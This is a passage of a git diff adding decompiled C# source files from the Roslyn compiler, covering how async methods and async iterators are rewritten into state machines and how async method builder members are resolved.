PromiseOfValueOrEndField { get; } + + internal FieldSymbol CombinedTokensField { get; } + + internal FieldSymbol CurrentField { get; } + + internal FieldSymbol DisposeModeField { get; } + + internal MethodSymbol SetResultMethod { get; } + + internal MethodSymbol SetExceptionMethod { get; } + + public AsyncIteratorInfo(FieldSymbol promiseOfValueOrEndField, FieldSymbol combinedTokensField, FieldSymbol currentField, FieldSymbol disposeModeField, MethodSymbol setResultMethod, MethodSymbol setExceptionMethod) + { + PromiseOfValueOrEndField = promiseOfValueOrEndField; + CombinedTokensField = combinedTokensField; + CurrentField = currentField; + DisposeModeField = disposeModeField; + SetResultMethod = setResultMethod; + SetExceptionMethod = setExceptionMethod; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncIteratorMethodToStateMachineRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncIteratorMethodToStateMachineRewriter.cs new file mode 100644 index 0000000..5d2be8d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncIteratorMethodToStateMachineRewriter.cs @@ -0,0 +1,186 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class AsyncIteratorMethodToStateMachineRewriter : AsyncMethodToStateMachineRewriter +{ + private readonly AsyncIteratorInfo _asyncIteratorInfo; + + private LabelSymbol _currentDisposalLabel; + + private readonly LabelSymbol _exprReturnLabelTrue; + + private readonly ResumableStateMachineStateAllocator _iteratorStateAllocator; + + internal AsyncIteratorMethodToStateMachineRewriter(MethodSymbol method, int methodOrdinal, AsyncMethodBuilderMemberCollection asyncMethodBuilderMemberCollection, AsyncIteratorInfo asyncIteratorInfo, SyntheticBoundNodeFactory F, FieldSymbol state, FieldSymbol builder, FieldSymbol? instanceIdField, IReadOnlySet hoistedVariables, IReadOnlyDictionary nonReusableLocalProxies, SynthesizedLocalOrdinalsDispenser synthesizedLocalOrdinals, ArrayBuilder stateMachineStateDebugInfoBuilder, VariableSlotAllocator? slotAllocatorOpt, int nextFreeHoistedLocalSlot, BindingDiagnosticBag diagnostics) + : base(method, methodOrdinal, asyncMethodBuilderMemberCollection, F, state, builder, instanceIdField, hoistedVariables, nonReusableLocalProxies, synthesizedLocalOrdinals, stateMachineStateDebugInfoBuilder, slotAllocatorOpt, nextFreeHoistedLocalSlot, diagnostics) + { + _asyncIteratorInfo = asyncIteratorInfo; + _currentDisposalLabel = _exprReturnLabel; + _exprReturnLabelTrue = F.GenerateLabel("yieldReturn"); + _iteratorStateAllocator = new ResumableStateMachineStateAllocator(slotAllocatorOpt, (StateMachineState)(-4), increasing: false); + } + + protected override BoundStatement? GenerateMissingStateDispatch() + { + BoundStatement boundStatement = base.GenerateMissingStateDispatch(); + BoundStatement boundStatement2 = _iteratorStateAllocator.GenerateThrowMissingStateDispatch(F, F.Local(cachedState), CodeAnalysisResources.EncCannotResumeSuspendedIteratorMethod); + if (boundStatement2 == null) + { + return boundStatement; + } + if (boundStatement == null) + { + return boundStatement2; + } + return F.Block(boundStatement, boundStatement2); + } + + protected override BoundStatement GenerateSetResultCall() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + AddDisposeCombinedTokensIfNeeded(instance); + instance.AddRange(new BoundStatement[6] + { + GenerateClearCurrent(), + GenerateCompleteOnBuilder(), + generateSetResultOnPromise(result: false), + F.Return(), + F.Label(_exprReturnLabelTrue), + generateSetResultOnPromise(result: true) + }); + return F.Block(instance.ToImmutableAndFree()); + BoundExpressionStatement generateSetResultOnPromise(bool result) + { + BoundFieldAccess receiver = F.InstanceField(_asyncIteratorInfo.PromiseOfValueOrEndField); + return F.ExpressionStatement(F.Call(receiver, _asyncIteratorInfo.SetResultMethod, F.Literal(result))); + } + } + + private BoundExpressionStatement GenerateClearCurrent() + { + FieldSymbol currentField = _asyncIteratorInfo.CurrentField; + return F.Assignment(F.InstanceField(currentField), F.Default(currentField.Type)); + } + + private BoundExpressionStatement GenerateCompleteOnBuilder() + { + return F.ExpressionStatement(F.Call(F.Field(F.This(), _asyncMethodBuilderField), _asyncMethodBuilderMemberCollection.SetResult, ImmutableArray.Empty)); + } + + private void AddDisposeCombinedTokensIfNeeded(ArrayBuilder builder) + { + if ((object)_asyncIteratorInfo.CombinedTokensField != null) + { + BoundFieldAccess boundFieldAccess = F.Field(F.This(), _asyncIteratorInfo.CombinedTokensField); + TypeSymbol type = boundFieldAccess.Type; + builder.Add(F.If(F.ObjectNotEqual(boundFieldAccess, F.Null(type)), F.Block(F.ExpressionStatement(F.Call(boundFieldAccess, F.WellKnownMethod((WellKnownMember)460))), F.Assignment(boundFieldAccess, F.Null(type))))); + } + } + + protected override BoundStatement GenerateSetExceptionCall(LocalSymbol exceptionLocal) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + AddDisposeCombinedTokensIfNeeded(instance); + instance.Add((BoundStatement)GenerateClearCurrent()); + instance.Add((BoundStatement)GenerateCompleteOnBuilder()); + instance.Add((BoundStatement)F.ExpressionStatement(F.Call(F.InstanceField(_asyncIteratorInfo.PromiseOfValueOrEndField), _asyncIteratorInfo.SetExceptionMethod, F.Local(exceptionLocal)))); + return F.Block(instance.ToImmutableAndFree()); + } + + private BoundStatement GenerateJumpToCurrentDisposalLabel() + { + return F.If(F.InstanceField(_asyncIteratorInfo.DisposeModeField), F.Goto(_currentDisposalLabel)); + } + + private BoundStatement AppendJumpToCurrentDisposalLabel(BoundStatement node) + { + return F.Block(node, GenerateJumpToCurrentDisposalLabel()); + } + + protected override BoundBinaryOperator ShouldEnterFinallyBlock() + { + return F.IntEqual(F.Local(cachedState), F.Literal((StateMachineState)(-1))); + } + + protected override BoundStatement VisitBody(BoundStatement body) + { + AddState((StateMachineState)(-3), out GeneratedLabelSymbol resumeLabel); + BoundStatement boundStatement = (BoundStatement)Visit(body); + return F.Block(F.Label(resumeLabel), GenerateJumpToCurrentDisposalLabel(), GenerateSetBothStates((StateMachineState)(-1)), boundStatement); + } + + public override BoundNode VisitYieldReturnStatement(BoundYieldReturnStatement node) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + AddResumableState(_iteratorStateAllocator, node.Syntax, default(AwaitDebugId), out StateMachineState stateNumber, out GeneratedLabelSymbol resumeLabel); + BoundExpression right = (BoundExpression)Visit(node.Expression); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add((BoundStatement)F.Assignment(F.InstanceField(_asyncIteratorInfo.CurrentField), right)); + instance.Add((BoundStatement)GenerateSetBothStates(stateNumber)); + instance.Add((BoundStatement)F.Goto(_exprReturnLabelTrue)); + instance.Add((BoundStatement)F.Label(resumeLabel)); + instance.Add(F.HiddenSequencePoint()); + instance.Add((BoundStatement)GenerateSetBothStates((StateMachineState)(-1))); + instance.Add(GenerateJumpToCurrentDisposalLabel()); + instance.Add(F.HiddenSequencePoint()); + return F.Block(instance.ToImmutableAndFree()); + } + + public override BoundNode VisitYieldBreakStatement(BoundYieldBreakStatement node) + { + return F.Block(SetDisposeMode(value: true), F.Goto(_currentDisposalLabel)); + } + + private BoundExpressionStatement SetDisposeMode(bool value) + { + return F.Assignment(F.InstanceField(_asyncIteratorInfo.DisposeModeField), F.Literal(value)); + } + + public override BoundNode VisitTryStatement(BoundTryStatement node) + { + LabelSymbol currentDisposalLabel = _currentDisposalLabel; + if (node.FinallyBlockOpt != null) + { + GeneratedLabelSymbol label = (GeneratedLabelSymbol)(_currentDisposalLabel = F.GenerateLabel("finallyEntry")); + node = node.Update(F.Block(node.TryBlock, F.Label(label)), node.CatchBlocks, node.FinallyBlockOpt, node.FinallyLabelOpt, node.PreferFaultHandler); + } + else if ((object)node.FinallyLabelOpt != null) + { + _currentDisposalLabel = node.FinallyLabelOpt; + } + BoundStatement boundStatement = (BoundStatement)base.VisitTryStatement(node); + _currentDisposalLabel = currentDisposalLabel; + if (node.FinallyBlockOpt != null && (object)_currentDisposalLabel != null) + { + boundStatement = AppendJumpToCurrentDisposalLabel(boundStatement); + } + return boundStatement; + } + + protected override BoundBlock VisitFinally(BoundBlock finallyBlock) + { + LabelSymbol currentDisposalLabel = _currentDisposalLabel; + _currentDisposalLabel = null; + BoundBlock result = base.VisitFinally(finallyBlock); + _currentDisposalLabel = currentDisposalLabel; + return result; + } + + public override BoundNode VisitExtractedFinallyBlock(BoundExtractedFinallyBlock extractedFinally) + { + BoundStatement boundStatement = VisitFinally(extractedFinally.FinallyBlock); + if ((object)_currentDisposalLabel != null) + { + boundStatement = AppendJumpToCurrentDisposalLabel(boundStatement); + } + return boundStatement; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncMethodBuilderMemberCollection.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncMethodBuilderMemberCollection.cs new file mode 100644 index 0000000..ce08ccb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncMethodBuilderMemberCollection.cs @@ -0,0 +1,314 @@ +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.RuntimeMembers; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct AsyncMethodBuilderMemberCollection +{ + internal readonly NamedTypeSymbol BuilderType; + + internal readonly TypeSymbol ResultType; + + internal readonly MethodSymbol CreateBuilder; + + internal readonly MethodSymbol SetException; + + internal readonly MethodSymbol SetResult; + + internal readonly MethodSymbol AwaitOnCompleted; + + internal readonly MethodSymbol AwaitUnsafeOnCompleted; + + internal readonly MethodSymbol Start; + + internal readonly MethodSymbol SetStateMachine; + + internal readonly PropertySymbol Task; + + internal readonly bool CheckGenericMethodConstraints; + + private AsyncMethodBuilderMemberCollection(NamedTypeSymbol builderType, TypeSymbol resultType, MethodSymbol createBuilder, MethodSymbol setException, MethodSymbol setResult, MethodSymbol awaitOnCompleted, MethodSymbol awaitUnsafeOnCompleted, MethodSymbol start, MethodSymbol setStateMachine, PropertySymbol task, bool checkGenericMethodConstraints) + { + BuilderType = builderType; + ResultType = resultType; + CreateBuilder = createBuilder; + SetException = setException; + SetResult = setResult; + AwaitOnCompleted = awaitOnCompleted; + AwaitUnsafeOnCompleted = awaitUnsafeOnCompleted; + Start = start; + SetStateMachine = setStateMachine; + Task = task; + CheckGenericMethodConstraints = checkGenericMethodConstraints; + } + + internal static bool TryCreate(SyntheticBoundNodeFactory F, MethodSymbol method, TypeMap typeMap, out AsyncMethodBuilderMemberCollection collection) + { + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_0298: Unknown result type (might be due to invalid IL or missing references) + if (method.IsIterator) + { + NamedTypeSymbol builderType = F.WellKnownType((WellKnownType)297); + TryGetBuilderMember(F, (WellKnownMember)446, builderType, customBuilder: false, out var symbol); + if ((object)symbol == null) + { + collection = default(AsyncMethodBuilderMemberCollection); + return false; + } + return TryCreate(F, customBuilder: false, builderType, F.SpecialType((SpecialType)6), symbol, null, null, (WellKnownMember)447, (WellKnownMember)448, (WellKnownMember)449, (WellKnownMember)450, null, out collection); + } + if (method.IsAsyncReturningVoid()) + { + NamedTypeSymbol builderType2 = F.WellKnownType((WellKnownType)243); + bool customBuilder = false; + TryGetBuilderMember(F, (WellKnownMember)270, builderType2, customBuilder, out var symbol2); + if ((object)symbol2 == null) + { + collection = default(AsyncMethodBuilderMemberCollection); + return false; + } + return TryCreate(F, customBuilder, builderType2, F.SpecialType((SpecialType)6), symbol2, null, (WellKnownMember)271, (WellKnownMember)272, (WellKnownMember)273, (WellKnownMember)274, (WellKnownMember)275, (WellKnownMember)276, out collection); + } + object builderArgument = null; + if (method.IsAsyncEffectivelyReturningTask(F.Compilation)) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)method.ReturnType; + MethodSymbol symbol3 = null; + PropertySymbol symbol4 = null; + bool flag = method.HasAsyncMethodBuilderAttribute(out builderArgument); + bool flag2; + object builderArgument2; + if (flag) + { + flag2 = true; + builderArgument2 = builderArgument; + } + else + { + flag2 = namedTypeSymbol.IsCustomTaskType(out builderArgument2); + } + NamedTypeSymbol namedTypeSymbol2; + if (flag2) + { + namedTypeSymbol2 = ValidateBuilderType(F, builderArgument2, namedTypeSymbol.DeclaredAccessibility, isGeneric: false, flag); + if ((object)namedTypeSymbol2 != null) + { + symbol4 = GetCustomTaskProperty(F, namedTypeSymbol2, namedTypeSymbol); + symbol3 = GetCustomCreateMethod(F, namedTypeSymbol2); + } + } + else + { + namedTypeSymbol2 = F.WellKnownType((WellKnownType)244); + TryGetBuilderMember(F, (WellKnownMember)277, namedTypeSymbol2, flag2, out symbol3); + TryGetBuilderMember(F, (WellKnownMember)284, namedTypeSymbol2, flag2, out symbol4); + } + if ((object)namedTypeSymbol2 == null || (object)symbol3 == null || (object)symbol4 == null) + { + collection = default(AsyncMethodBuilderMemberCollection); + return false; + } + return TryCreate(F, flag2, namedTypeSymbol2, F.SpecialType((SpecialType)6), symbol3, symbol4, (WellKnownMember)278, (WellKnownMember)279, (WellKnownMember)280, (WellKnownMember)281, (WellKnownMember)282, (WellKnownMember)283, out collection); + } + if (method.IsAsyncEffectivelyReturningGenericTask(F.Compilation)) + { + NamedTypeSymbol namedTypeSymbol3 = (NamedTypeSymbol)method.ReturnType; + TypeSymbol typeSymbol = namedTypeSymbol3.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.Single().Type; + if (typeSymbol.IsDynamic()) + { + typeSymbol = F.SpecialType((SpecialType)1); + } + if (typeMap != null) + { + typeSymbol = typeMap.SubstituteType(typeSymbol).Type; + } + namedTypeSymbol3 = namedTypeSymbol3.ConstructedFrom.Construct(typeSymbol); + MethodSymbol symbol5 = null; + PropertySymbol symbol6 = null; + bool flag3 = method.HasAsyncMethodBuilderAttribute(out builderArgument); + bool flag4; + object builderArgument3; + if (flag3) + { + flag4 = true; + builderArgument3 = builderArgument; + } + else + { + flag4 = namedTypeSymbol3.IsCustomTaskType(out builderArgument3); + } + NamedTypeSymbol namedTypeSymbol4; + if (flag4) + { + namedTypeSymbol4 = ValidateBuilderType(F, builderArgument3, namedTypeSymbol3.DeclaredAccessibility, isGeneric: true, flag3); + if ((object)namedTypeSymbol4 != null) + { + namedTypeSymbol4 = namedTypeSymbol4.ConstructedFrom.Construct(typeSymbol); + symbol6 = GetCustomTaskProperty(F, namedTypeSymbol4, namedTypeSymbol3); + symbol5 = GetCustomCreateMethod(F, namedTypeSymbol4); + } + } + else + { + namedTypeSymbol4 = F.WellKnownType((WellKnownType)245); + namedTypeSymbol4 = namedTypeSymbol4.Construct(typeSymbol); + TryGetBuilderMember(F, (WellKnownMember)285, namedTypeSymbol4, flag4, out symbol5); + TryGetBuilderMember(F, (WellKnownMember)292, namedTypeSymbol4, flag4, out symbol6); + } + if ((object)namedTypeSymbol4 == null || (object)symbol6 == null || (object)symbol5 == null) + { + collection = default(AsyncMethodBuilderMemberCollection); + return false; + } + return TryCreate(F, flag4, namedTypeSymbol4, typeSymbol, symbol5, symbol6, (WellKnownMember)286, (WellKnownMember)287, (WellKnownMember)288, (WellKnownMember)289, (WellKnownMember)290, (WellKnownMember)291, out collection); + } + throw ExceptionUtilities.UnexpectedValue((object)method); + } + + private static NamedTypeSymbol ValidateBuilderType(SyntheticBoundNodeFactory F, object builderAttributeArgument, Accessibility desiredAccessibility, bool isGeneric, bool forMethodLevelBuilder = false) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + if (builderAttributeArgument is NamedTypeSymbol namedTypeSymbol && !namedTypeSymbol.IsErrorType() && !namedTypeSymbol.IsVoidType() && (forMethodLevelBuilder || namedTypeSymbol.DeclaredAccessibility == desiredAccessibility)) + { + if (isGeneric) + { + if (namedTypeSymbol.IsUnboundGenericType) + { + NamedTypeSymbol containingType = namedTypeSymbol.ContainingType; + if (((object)containingType == null || !containingType.IsGenericType) && namedTypeSymbol.Arity == 1) + { + return namedTypeSymbol; + } + } + F.Diagnostics.Add(ErrorCode.ERR_WrongArityAsyncReturn, F.Syntax.Location, namedTypeSymbol); + return null; + } + if (!namedTypeSymbol.IsGenericType) + { + return namedTypeSymbol; + } + } + F.Diagnostics.Add(ErrorCode.ERR_BadAsyncReturn, F.Syntax.Location); + return null; + } + + private static bool TryCreate(SyntheticBoundNodeFactory F, bool customBuilder, NamedTypeSymbol builderType, TypeSymbol resultType, MethodSymbol createBuilderMethod, PropertySymbol taskProperty, WellKnownMember? setException, WellKnownMember setResult, WellKnownMember awaitOnCompleted, WellKnownMember awaitUnsafeOnCompleted, WellKnownMember start, WellKnownMember? setStateMachine, out AsyncMethodBuilderMemberCollection collection) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + if (TryGetBuilderMember(F, setException, builderType, customBuilder, out var symbol) && TryGetBuilderMember(F, setResult, builderType, customBuilder, out var symbol2) && TryGetBuilderMember(F, awaitOnCompleted, builderType, customBuilder, out var symbol3) && TryGetBuilderMember(F, awaitUnsafeOnCompleted, builderType, customBuilder, out var symbol4) && TryGetBuilderMember(F, start, builderType, customBuilder, out var symbol5) && TryGetBuilderMember(F, setStateMachine, builderType, customBuilder, out var symbol6)) + { + collection = new AsyncMethodBuilderMemberCollection(builderType, resultType, createBuilderMethod, symbol, symbol2, symbol3, symbol4, symbol5, symbol6, taskProperty, customBuilder); + return true; + } + collection = default(AsyncMethodBuilderMemberCollection); + return false; + } + + private static bool TryGetBuilderMember(SyntheticBoundNodeFactory F, WellKnownMember? member, NamedTypeSymbol builderType, bool customBuilder, out TSymbol symbol) where TSymbol : Symbol + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + if (!member.HasValue) + { + symbol = null; + return true; + } + WellKnownMember value = member.Value; + if (customBuilder) + { + MemberDescriptor descriptor = WellKnownMembers.GetDescriptor(value); + Symbol symbol2 = CSharpCompilation.GetRuntimeMember(builderType.OriginalDefinition, in descriptor, (SignatureComparer)(object)F.Compilation.WellKnownMemberSignatureComparer, null); + if ((object)symbol2 != null) + { + symbol2 = symbol2.SymbolAsMember(builderType); + } + symbol = symbol2 as TSymbol; + } + else + { + symbol = F.WellKnownMember(value, isOptional: true) as TSymbol; + if ((object)symbol != null) + { + symbol = (TSymbol)symbol.SymbolAsMember(builderType); + } + } + if ((object)symbol == null) + { + MemberDescriptor descriptor2 = WellKnownMembers.GetDescriptor(value); + CSDiagnostic cSDiagnostic = new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_MissingPredefinedMember, customBuilder ? ((object)builderType) : ((object)((MemberDescriptor)(ref descriptor2)).DeclaringTypeMetadataName), descriptor2.Name), F.Syntax.Location); + ((BindingDiagnosticBag)F.Diagnostics).Add((Diagnostic)(object)cSDiagnostic); + return false; + } + return true; + } + + private static MethodSymbol GetCustomCreateMethod(SyntheticBoundNodeFactory F, NamedTypeSymbol builderType) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = builderType.GetMembers("Create").GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 9) + { + MethodSymbol methodSymbol = (MethodSymbol)current; + if ((int)methodSymbol.DeclaredAccessibility == 6 && methodSymbol.IsStatic && methodSymbol.ParameterCount == 0 && !methodSymbol.IsGenericMethod && (int)methodSymbol.RefKind == 0 && methodSymbol.ReturnType.Equals(builderType, (TypeCompareKind)63)) + { + return methodSymbol; + } + } + } + F.Diagnostics.Add(ErrorCode.ERR_MissingPredefinedMember, F.Syntax.Location, builderType, "Create"); + return null; + } + + private static PropertySymbol GetCustomTaskProperty(SyntheticBoundNodeFactory F, NamedTypeSymbol builderType, NamedTypeSymbol returnType) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Invalid comparison between Unknown and I4 + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = builderType.GetMembers("Task").GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind != 15) + { + continue; + } + PropertySymbol propertySymbol = (PropertySymbol)current; + if ((int)propertySymbol.DeclaredAccessibility == 6 && !propertySymbol.IsStatic && propertySymbol.ParameterCount == 0) + { + if (!propertySymbol.Type.Equals(returnType, (TypeCompareKind)63)) + { + CSDiagnostic cSDiagnostic = new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BadAsyncMethodBuilderTaskProperty, builderType, returnType, propertySymbol.Type), F.Syntax.Location); + ((BindingDiagnosticBag)F.Diagnostics).Add((Diagnostic)(object)cSDiagnostic); + return null; + } + return propertySymbol; + } + } + CSDiagnostic cSDiagnostic2 = new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_MissingPredefinedMember, builderType, "Task"), F.Syntax.Location); + ((BindingDiagnosticBag)F.Diagnostics).Add((Diagnostic)(object)cSDiagnostic2); + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncMethodToStateMachineRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncMethodToStateMachineRewriter.cs new file mode 100644 index 0000000..ea8bda3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncMethodToStateMachineRewriter.cs @@ -0,0 +1,349 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class AsyncMethodToStateMachineRewriter : MethodToStateMachineRewriter +{ + protected readonly MethodSymbol _method; + + protected readonly FieldSymbol _asyncMethodBuilderField; + + protected readonly AsyncMethodBuilderMemberCollection _asyncMethodBuilderMemberCollection; + + protected readonly LabelSymbol _exprReturnLabel; + + private readonly LabelSymbol _exitLabel; + + private readonly LocalSymbol? _exprRetValue; + + private readonly LoweredDynamicOperationFactory _dynamicFactory; + + private readonly Dictionary _awaiterFields; + + private int _nextAwaiterId; + + private readonly Dictionary _placeholderMap; + + protected sealed override string EncMissingStateMessage => CodeAnalysisResources.EncCannotResumeSuspendedAsyncMethod; + + protected sealed override StateMachineState FirstIncreasingResumableState => (StateMachineState)0; + + internal AsyncMethodToStateMachineRewriter(MethodSymbol method, int methodOrdinal, AsyncMethodBuilderMemberCollection asyncMethodBuilderMemberCollection, SyntheticBoundNodeFactory F, FieldSymbol state, FieldSymbol builder, FieldSymbol? instanceIdField, IReadOnlySet hoistedVariables, IReadOnlyDictionary nonReusableLocalProxies, SynthesizedLocalOrdinalsDispenser synthesizedLocalOrdinals, ArrayBuilder stateMachineStateDebugInfoBuilder, VariableSlotAllocator? slotAllocatorOpt, int nextFreeHoistedLocalSlot, BindingDiagnosticBag diagnostics) + : base(F, method, state, instanceIdField, hoistedVariables, nonReusableLocalProxies, synthesizedLocalOrdinals, stateMachineStateDebugInfoBuilder, slotAllocatorOpt, nextFreeHoistedLocalSlot, diagnostics) + { + _method = method; + _asyncMethodBuilderMemberCollection = asyncMethodBuilderMemberCollection; + _asyncMethodBuilderField = builder; + _exprReturnLabel = F.GenerateLabel("exprReturn"); + _exitLabel = F.GenerateLabel("exitLabel"); + _exprRetValue = (method.IsAsyncEffectivelyReturningGenericTask(F.Compilation) ? F.SynthesizedLocal(asyncMethodBuilderMemberCollection.ResultType, F.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)20) : null); + _dynamicFactory = new LoweredDynamicOperationFactory(F, methodOrdinal); + _awaiterFields = new Dictionary(SymbolEqualityComparer.IgnoringDynamicTupleNamesAndNullability); + _nextAwaiterId = ((slotAllocatorOpt != null) ? slotAllocatorOpt.PreviousAwaiterSlotCount : 0); + _placeholderMap = new Dictionary(); + } + + private FieldSymbol GetAwaiterField(TypeSymbol awaiterType) + { + if (!_awaiterFields.TryGetValue(awaiterType, out FieldSymbol value)) + { + int slotIndex = default(int); + if (slotAllocatorOpt == null || !slotAllocatorOpt.TryGetPreviousAwaiterSlotIndex(((PEModuleBuilder)F.ModuleBuilderOpt).Translate(awaiterType, F.Syntax, ((BindingDiagnosticBag)F.Diagnostics).DiagnosticBag), ((BindingDiagnosticBag)F.Diagnostics).DiagnosticBag, ref slotIndex)) + { + slotIndex = _nextAwaiterId++; + } + string name = GeneratedNames.AsyncAwaiterFieldName(slotIndex); + value = F.StateMachineField(awaiterType, name, (SynthesizedLocalKind)256, slotIndex); + _awaiterFields.Add(awaiterType, value); + } + return value; + } + + internal void GenerateMoveNext(BoundStatement body, MethodSymbol moveNextMethod) + { + //IL_016f: Unknown result type (might be due to invalid IL or missing references) + //IL_0174: Unknown result type (might be due to invalid IL or missing references) + //IL_0178: Unknown result type (might be due to invalid IL or missing references) + F.CurrentFunction = moveNextMethod; + BoundStatement statement = VisitBody(body); + MethodToStateMachineRewriter.TryUnwrapBoundStateMachineScope(ref statement, out var hoistedLocals); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add(F.HiddenSequencePoint()); + instance.Add((BoundStatement)F.Assignment(F.Local(cachedState), F.Field(F.This(), stateField))); + instance.Add(CacheThisIfNeeded()); + LocalSymbol exceptionLocal = F.SynthesizedLocal(F.WellKnownType((WellKnownType)52), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + instance.Add(GenerateTopLevelTry(F.Block(ImmutableArray.Empty, F.HiddenSequencePoint(), Dispatch(isOutermost: true), statement), F.CatchBlocks(GenerateExceptionHandling(exceptionLocal, hoistedLocals)))); + instance.Add((BoundStatement)F.Label(_exprReturnLabel)); + BoundExpressionStatement boundExpressionStatement = F.Assignment(F.Field(F.This(), stateField), F.Literal((StateMachineState)(-2))); + if (!(body.Syntax is BlockSyntax blockSyntax)) + { + instance.Add((BoundStatement)boundExpressionStatement); + } + else + { + SyntheticBoundNodeFactory f = F; + SyntaxToken closeBraceToken = blockSyntax.CloseBraceToken; + instance.Add(f.SequencePointWithSpan(blockSyntax, ((SyntaxToken)(ref closeBraceToken)).Span, boundExpressionStatement)); + instance.Add(F.HiddenSequencePoint()); + } + instance.Add(GenerateHoistedLocalsCleanup(hoistedLocals)); + instance.Add(GenerateSetResultCall()); + instance.Add((BoundStatement)F.Label(_exitLabel)); + instance.Add((BoundStatement)F.Return()); + ImmutableArray statements = instance.ToImmutableAndFree(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + instance2.Add(cachedState); + if ((object)cachedThis != null) + { + instance2.Add(cachedThis); + } + if ((object)_exprRetValue != null) + { + instance2.Add(_exprRetValue); + } + BoundStatement boundStatement = F.SequencePoint(body.Syntax, F.Block(instance2.ToImmutableAndFree(), statements)); + if (hoistedLocals.Length > 0) + { + boundStatement = MakeStateMachineScope(hoistedLocals, boundStatement); + } + if (instrumentation != null) + { + boundStatement = F.Block(ImmutableArray.Create(instrumentation.Local), instrumentation.Prologue, F.Try(F.Block(boundStatement), ImmutableArray.Empty, F.Block(instrumentation.Epilogue))); + } + F.CloseMethod(boundStatement); + } + + protected virtual BoundStatement GenerateTopLevelTry(BoundBlock tryBlock, ImmutableArray catchBlocks) + { + return F.Try(tryBlock, catchBlocks); + } + + protected virtual BoundStatement GenerateSetResultCall() + { + return F.ExpressionStatement(F.Call(F.Field(F.This(), _asyncMethodBuilderField), _asyncMethodBuilderMemberCollection.SetResult, _method.IsAsyncEffectivelyReturningGenericTask(F.Compilation) ? ImmutableArray.Create((BoundExpression)F.Local(_exprRetValue)) : ImmutableArray.Empty)); + } + + protected BoundCatchBlock GenerateExceptionHandling(LocalSymbol exceptionLocal, ImmutableArray hoistedLocals) + { + BoundStatement boundStatement = F.ExpressionStatement(F.AssignmentExpression(F.Field(F.This(), stateField), F.Literal((StateMachineState)(-2)))); + BoundStatement boundStatement2 